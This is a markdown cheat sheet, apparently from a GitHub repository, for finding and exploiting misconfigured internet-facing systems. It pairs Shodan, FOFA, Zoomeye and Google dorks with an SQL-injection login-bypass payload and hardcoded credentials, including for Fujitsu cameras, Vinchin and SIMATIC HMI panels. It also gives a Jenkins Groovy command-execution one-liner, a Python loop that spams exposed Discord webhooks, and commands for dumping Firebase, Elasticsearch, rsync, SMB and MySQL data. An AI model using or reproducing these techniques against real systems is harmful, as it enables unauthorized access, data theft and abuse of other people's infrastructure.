Skip to content

Latest commit

 

History

History
162 lines (151 loc) · 8.48 KB

papers.md

File metadata and controls

162 lines (151 loc) · 8.48 KB
Raw

Table of contents

Admin login panels vulnerable to SQLi

Payload: 1'or'1'='1

Google dork

intitle:"Login" inurl:/admin/index.php

Algo hardcoded password

Login

Default password: algo

Shodan query

http.favicon.hash:-1024590169

Android debug bridge misconfiguration

installing ADB

Debian: apt install android-tools

Arch: pacman -S android-tools

Connect to ADB device

Use this bash script or connect manually (default port is 5555)

Shodan query

"Android debug bridge (ADB)" -Authentication

BigAnt Admin hardcoded password

Login

Default password: 123456

Zoomeye dork

"password: <span style=\"color:red\">123456</span>"

Cassandra exposed databases authfree

Default credentials (if they really require one) are cassandra:cassandra

Hunter query

protocol="cassandra"

Dumping all

Use cqldump

Find exposed discord webhooks

Simplest way to spam into a webhook in python:

while True: __import__("requests").post("<webhook>", data={"content":"@here hey"})

Zoomeye dork

"https://discord.com/api/webhooks/"

But... Can i automate this?

The answer is obviously yes, i made this script.

Firebase misconfiguration

The code snippet used to connect to firebase is often leaved in the main html page of websites, and it looks like this:

var config = {
    apiKey: "3x4mpl3",
    authDomain: "example.firebaseapp.com",
    databaseURL: "https://example.firebaseio.com",
    projectId: "example",
    storageBucket: "example.appspot.com",
    messagingSenderId: "6969"
};
firebase.initializeApp(config);

Just go to database url + /.json to dump all

FOFA query

body="firebase.initializeApp(config);" && body="databaseURL"

Elasticsearch misconfiguration

View all indices

Base URL + /_cat/indices?v

View an index content

Base URL + /<name>/_search?pretty=true&size=9999

FOFA query

protocol="elastic" && banner="200 OK"

FTP servers with anonymous login allowed

Username: anonymous

Password: guest

Shodan query

port:21 "Login successful" "FTP server ready" port:21 "Login successful"

Find exposed ftp servers on google

Google dork

intitle:"index of" inurl:ftp

Fujitsu IP series hardcoded credentials

Username: fedish264pro OR fedish265pro

Password: h264pro@broadsight OR h265pro@broadsight

(Well known as CVE-2023-38433)

FOFA query

"Server: thttpd/2.25b 29dec2003" && "Content-Length: 1133"

Jenkins code execution

Select Manage Jenkins > Console Script (Generally /script or /manage/script)

Groovy oneliner for injecting system commands:

println("<your cmd>".execute().text)

Zoomeye dork

title:"Dashboard [Jenkins]"+"Manage jenkins"

LG Signage default credentials

Login

Default password: 00000000

Zoomeye dork

iconhash:79487298 && title:"LG Signage"

Redis auth free access

Install redis-cli

Connecting

redis-cli -h <ip>

Shodan query

product:redis "db0"

Rsync exposed files

Install

Use your own package manager

List all files

rsync --list-only <address>::<directory (leave blank for all)>

Download all files in your current directory

rsync -avh <address>::<directory (leave blank for all)> $(pwd)

Shodan base query (to customize)

product:rsyncd

SIMATIC HMI_Panel default credentials

Login

Default username: Administrator

Default password: 100

Google dork

intitle:"Miniweb Start Page"

SMB server misconfiguration

installing smbclient

Debian: apt install samba

Arch: pacman -S smbclient

login in to misconfigurated server

smbclient -N \\\\{address}\\Users

Shodan query

port:445 "Authentication: disabled" "Users"

Vinchin default MySQL credentials

Username: vinchin

Password: yunqi123456

Dump all databases with mysqldump

mysqldump -h <host> -u vinchin -pyunqi123456 --all-databases --result-file=dump.sql

(Well known as CVE-2024-22901)

Hunter query

web.title="Vinchin Backup & Recovery"

VNC Servers with auth disabled

Download Vnc viewer Insert the IP address and port (default is 5900) and connect,

select ok when unencrypted connection warning appears.

Shodan query

hash:1569903015